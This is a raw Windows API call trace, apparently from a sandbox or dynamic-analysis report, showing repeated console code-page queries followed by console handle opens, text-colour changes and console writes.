0 [0065.781] GetConsoleOutputCP () returned 0x1b5 [0065.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.781] GetConsoleOutputCP () returned 0x1b5 [0065.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.781] GetConsoleOutputCP () returned 0x1b5 [0065.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.781] GetConsoleOutputCP () returned 0x1b5 [0065.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.781] GetConsoleOutputCP () returned 0x1b5 [0065.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.781] GetConsoleOutputCP () returned 0x1b5 [0065.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.781] GetConsoleOutputCP () returned 0x1b5 [0065.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.781] GetConsoleOutputCP () returned 0x1b5 [0065.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.782] GetConsoleOutputCP () returned 0x1b5 [0065.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.782] GetConsoleOutputCP () returned 0x1b5 [0065.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.782] GetConsoleOutputCP () returned 0x1b5 [0065.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.782] GetConsoleOutputCP () returned 0x1b5 [0065.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.782] GetConsoleOutputCP () returned 0x1b5 [0065.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.782] GetConsoleOutputCP () returned 0x1b5 [0065.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.782] GetConsoleOutputCP () returned 0x1b5 [0065.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.782] GetConsoleOutputCP () returned 0x1b5 [0065.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.782] GetConsoleOutputCP () returned 0x1b5 [0065.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.782] GetConsoleOutputCP () returned 0x1b5 [0065.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.782] GetConsoleOutputCP () returned 0x1b5 [0065.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.783] GetConsoleOutputCP () returned 0x1b5 [0065.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.783] GetConsoleOutputCP () returned 0x1b5 [0065.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.783] GetConsoleOutputCP () returned 0x1b5 [0065.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.783] GetConsoleOutputCP () returned 0x1b5 [0065.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.783] GetConsoleOutputCP () returned 0x1b5 [0065.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.783] GetConsoleOutputCP () returned 0x1b5 [0065.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678900, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678900) returned 0 [0065.783] GetConsoleOutputCP () returned 0x1b5 [0065.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c6788d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c6788d0) returned 0 [0065.783] GetConsoleOutputCP () returned 0x1b5 [0065.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c6788d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c6788d0) returned 0 [0065.783] GetConsoleOutputCP () returned 0x1b5 [0065.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c6788d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c6788d0) returned 0 [0065.783] GetConsoleOutputCP () returned 0x1b5 [0065.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678900, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678900) returned 0 [0065.784] GetConsoleOutputCP () returned 0x1b5 [0065.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.784] GetConsoleOutputCP () returned 0x1b5 [0065.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.784] GetConsoleOutputCP () returned 0x1b5 [0065.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.784] GetConsoleOutputCP () returned 0x1b5 [0065.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.784] GetConsoleOutputCP () returned 0x1b5 [0065.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.784] GetConsoleOutputCP () returned 0x1b5 [0065.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.784] GetConsoleOutputCP () returned 0x1b5 [0065.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.784] GetConsoleOutputCP () returned 0x1b5 [0065.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.784] GetConsoleOutputCP () returned 0x1b5 [0065.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.784] GetConsoleOutputCP () returned 0x1b5 [0065.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.784] GetConsoleOutputCP () returned 0x1b5 [0065.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.785] GetConsoleOutputCP () returned 0x1b5 [0065.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.785] GetConsoleOutputCP () returned 0x1b5 [0065.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.785] GetConsoleOutputCP () returned 0x1b5 [0065.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.785] GetConsoleOutputCP () returned 0x1b5 [0065.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.785] GetConsoleOutputCP () returned 0x1b5 [0065.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.785] GetConsoleOutputCP () returned 0x1b5 [0065.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.785] GetConsoleOutputCP () returned 0x1b5 [0065.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.785] GetConsoleOutputCP () returned 0x1b5 [0065.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.785] GetConsoleOutputCP () returned 0x1b5 [0065.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.785] GetConsoleOutputCP () returned 0x1b5 [0065.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.785] GetConsoleOutputCP () returned 0x1b5 [0065.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.786] GetConsoleOutputCP () returned 0x1b5 [0065.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.786] GetConsoleOutputCP () returned 0x1b5 [0065.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.786] GetConsoleOutputCP () returned 0x1b5 [0065.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.786] GetConsoleOutputCP () returned 0x1b5 [0065.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.786] GetConsoleOutputCP () returned 0x1b5 [0065.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.786] GetConsoleOutputCP () returned 0x1b5 [0065.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.786] GetConsoleOutputCP () returned 0x1b5 [0065.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.786] GetConsoleOutputCP () returned 0x1b5 [0065.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.786] GetConsoleOutputCP () returned 0x1b5 [0065.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.786] GetConsoleOutputCP () returned 0x1b5 [0065.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.787] GetConsoleOutputCP () returned 0x1b5 [0065.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.787] GetConsoleOutputCP () returned 0x1b5 [0065.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.787] GetConsoleOutputCP () returned 0x1b5 [0065.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.787] GetConsoleOutputCP () returned 0x1b5 [0065.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.787] GetConsoleOutputCP () returned 0x1b5 [0065.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.787] GetConsoleOutputCP () returned 0x1b5 [0065.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.787] GetConsoleOutputCP () returned 0x1b5 [0065.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.787] GetConsoleOutputCP () returned 0x1b5 [0065.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.787] GetConsoleOutputCP () returned 0x1b5 [0065.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.787] GetConsoleOutputCP () returned 0x1b5 [0065.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.787] GetConsoleOutputCP () returned 0x1b5 [0065.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.788] GetConsoleOutputCP () returned 0x1b5 [0065.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.788] GetConsoleOutputCP () returned 0x1b5 [0065.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.788] GetConsoleOutputCP () returned 0x1b5 [0065.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.788] GetConsoleOutputCP () returned 0x1b5 [0065.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.788] GetConsoleOutputCP () returned 0x1b5 [0065.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.788] GetConsoleOutputCP () returned 0x1b5 [0065.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.788] GetConsoleOutputCP () returned 0x1b5 [0065.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.788] GetConsoleOutputCP () returned 0x1b5 [0065.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.789] GetConsoleOutputCP () returned 0x1b5 [0065.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.789] GetConsoleOutputCP () returned 0x1b5 [0065.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.789] GetConsoleOutputCP () returned 0x1b5 [0065.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.789] GetConsoleOutputCP () returned 0x1b5 [0065.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.789] GetConsoleOutputCP () returned 0x1b5 [0065.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.789] GetConsoleOutputCP () returned 0x1b5 [0065.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.789] GetConsoleOutputCP () returned 0x1b5 [0065.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.789] GetConsoleOutputCP () returned 0x1b5 [0065.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.789] GetConsoleOutputCP () returned 0x1b5 [0065.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.789] GetConsoleOutputCP () returned 0x1b5 [0065.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.789] GetConsoleOutputCP () returned 0x1b5 [0065.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.790] GetConsoleOutputCP () returned 0x1b5 [0065.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.790] GetConsoleOutputCP () returned 0x1b5 [0065.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.790] GetConsoleOutputCP () returned 0x1b5 [0065.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.790] GetConsoleOutputCP () returned 0x1b5 [0065.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.790] GetConsoleOutputCP () returned 0x1b5 [0065.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.790] GetConsoleOutputCP () returned 0x1b5 [0065.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.790] GetConsoleOutputCP () returned 0x1b5 [0065.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.790] GetConsoleOutputCP () returned 0x1b5 [0065.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.790] GetConsoleOutputCP () returned 0x1b5 [0065.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.791] GetConsoleOutputCP () returned 0x1b5 [0065.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.791] GetConsoleOutputCP () returned 0x1b5 [0065.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.791] GetConsoleOutputCP () returned 0x1b5 [0065.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.791] GetConsoleOutputCP () returned 0x1b5 [0065.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.791] GetConsoleOutputCP () returned 0x1b5 [0065.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.791] GetConsoleOutputCP () returned 0x1b5 [0065.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.791] GetConsoleOutputCP () returned 0x1b5 [0065.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.792] GetConsoleOutputCP () returned 0x1b5 [0065.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678860, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678860) returned 0 [0065.792] GetConsoleOutputCP () returned 0x1b5 [0065.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c678900, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c678900) returned 0 [0065.792] GetConsoleOutputCP () returned 0x1b5 [0065.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c6788d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c6788d0) returned 0 [0065.792] GetConsoleOutputCP () returned 0x1b5 [0065.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c6788d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c6788d0) returned 0 [0065.795] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17 [0065.795] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x17, lpConsoleScreenBufferInfo=0x1c678910 | out: lpConsoleScreenBufferInfo=0x1c678910) returned 1 [0065.795] GetConsoleOutputCP () returned 0x1b5 [0065.795] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c6788a0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c6788a0) returned 0 [0065.797] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0065.800] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b [0065.803] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0065.804] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0xc) returned 1 [0065.807] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0065.807] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0xc) returned 1 [0065.808] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0065.810] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0065.811] GetConsoleMode (in: hConsoleHandle=0x23, lpMode=0x1c678870 | out: lpMode=0x1c678870) returned 1 [0065.812] WriteConsoleW (in: hConsoleOutput=0x23, lpBuffer=0x310d228*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x1c678840, lpReserved=0x0 | out: lpBuffer=0x310d228*, lpNumberOfCharsWritten=0x1c678840*=0x4f) returned 1 [0065.813] CloseHandle (hObject=0x23) returned 1 [0065.816] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0065.816] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x1c678790 | out: lpConsoleScreenBufferInfo=0x1c678790) returned 1 [0065.816] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0x7) returned 1 [0065.816] CloseHandle (hObject=0x23) returned 1 [0065.818] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0065.819] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x1c678790 | out: lpConsoleScreenBufferInfo=0x1c678790) returned 1 [0065.819] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0x7) returned 1 [0065.819] CloseHandle (hObject=0x23) returned 1 [0065.821] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0065.823] GetConsoleMode (in: hConsoleHandle=0x23, lpMode=0x1c678910 | out: lpMode=0x1c678910) returned 1 [0065.824] WriteConsoleW (in: hConsoleOutput=0x23, lpBuffer=0x2c1db30*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x1c6788e0, lpReserved=0x0 | out: lpBuffer=0x2c1db30*, lpNumberOfCharsWritten=0x1c6788e0*=0x1) returned 1 [0065.824] CloseHandle (hObject=0x23) returned 1 [0065.827] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0065.827] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x1c678910 | out: lpConsoleScreenBufferInfo=0x1c678910) returned 1 